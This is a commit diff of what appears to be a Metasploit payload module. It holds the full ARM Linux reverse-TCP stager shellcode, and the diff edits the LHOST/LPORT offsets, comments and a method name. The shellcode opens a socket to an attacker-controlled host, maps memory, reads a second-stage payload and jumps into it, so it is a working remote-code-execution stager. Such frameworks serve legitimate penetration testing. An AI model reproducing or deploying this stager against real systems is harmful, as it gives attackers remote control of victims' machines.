@@ -35,19 +35,19 @@ def initialize(info = {})
35
35
{
36
36
'Offsets' =>
37
37
{
38
- 'LPORT' => [ 194 , 'n' ] ,
39
- 'LHOST' => [ 196 , 'ADDR' ] ,
38
+ 'LPORT' => [ 182 , 'n' ] ,
39
+ 'LHOST' => [ 184 , 'ADDR' ] ,
40
40
} ,
41
41
'Payload' =>
42
42
[
43
- 0xe59f70b4 , # ldr r7, [pc, #180] ; 8110 <last+0x14>
43
+ 0xe59f70b4 , # ldr r7, [pc, #180]
44
44
0xe3a00002 , # mov r0, #2
45
45
0xe3a01001 , # mov r1, #1
46
46
0xe3a02006 , # mov r2, #6
47
47
0xef000000 , # svc 0x00000000
48
48
0xe1a0c000 , # mov ip, r0
49
49
0xe2877002 , # add r7, r7, #2
50
- 0xe28f1090 , # add r1, pc, #144 ; 0x90
50
+ 0xe28f1090 , # add r1, pc, #144
51
51
0xe3a02010 , # mov r2, #16
52
52
0xef000000 , # svc 0x00000000
53
53
0xe1a0000c , # mov r0, ip
@@ -58,31 +58,31 @@ def initialize(info = {})
58
58
0xe3a03000 , # mov r3, #0
59
59
0xef000000 , # svc 0x00000000
60
60
0xe59d1000 , # ldr r1, [sp]
61
- 0xe59f3070 , # ldr r3, [pc, #112] ; 8114 <last+0x18>
61
+ 0xe59f3070 , # ldr r3, [pc, #112]
62
62
0xe0011003 , # and r1, r1, r3
63
63
0xe3a02001 , # mov r2, #1
64
64
0xe1a02602 , # lsl r2, r2, #12
65
65
0xe0811002 , # add r1, r1, r2
66
- 0xe3a070c0 , # mov r7, #192 ; 0xc0
66
+ 0xe3a070c0 , # mov r7, #192
67
67
0xe3e00000 , # mvn r0, #0
68
68
0xe3a02007 , # mov r2, #7
69
- 0xe59f3054 , # ldr r3, [pc, #84] ; 8118 <last+0x1c>
69
+ 0xe59f3054 , # ldr r3, [pc, #84]
70
70
0xe1a04000 , # mov r4, r0
71
71
0xe3a05000 , # mov r5, #0
72
72
0xef000000 , # svc 0x00000000
73
- 0xe2877063 , # add r7, r7, #99 ; 0x63
73
+ 0xe2877063 , # add r7, r7, #99
74
74
0xe1a01000 , # mov r1, r0
75
75
0xe1a0000c , # mov r0, ip
76
76
0xe3a03000 , # mov r3, #0
77
77
0xe59d2000 , # ldr r2, [sp]
78
- 0xe2422ffa , # sub r2, r2, #1000 ; 0x3e8
78
+ 0xe2422ffa , # sub r2, r2, #1000
79
79
0xe58d2000 , # str r2, [sp]
80
80
0xe3520000 , # cmp r2, #0
81
81
0xda000002 , # ble 80fc <last>
82
- 0xe3a02ffa , # mov r2, #1000 ; 0x3e8
82
+ 0xe3a02ffa , # mov r2, #1000
83
83
0xef000000 , # svc 0x00000000
84
84
0xeafffff7 , # b 80dc <loop>
85
- 0xe2822ffa , # add r2, r2, #1000 ; 0x3e8
85
+ 0xe2822ffa , # add r2, r2, #1000
86
86
0xef000000 , # svc 0x00000000
87
87
0xe1a0f001 , # mov pc, r1
88
88
0x5c110002 , # .word 0x5c110002
@@ -96,7 +96,7 @@ def initialize(info = {})
96
96
) )
97
97
end
98
98
99
- def handle_i7 termediate_stage ( conn , payload )
99
+ def handle_intermediate_stage ( conn , payload )
100
100
101
101
print_status ( "Transmitting stage length value...(#{ payload . length } bytes)" )
102
102
0 commit comments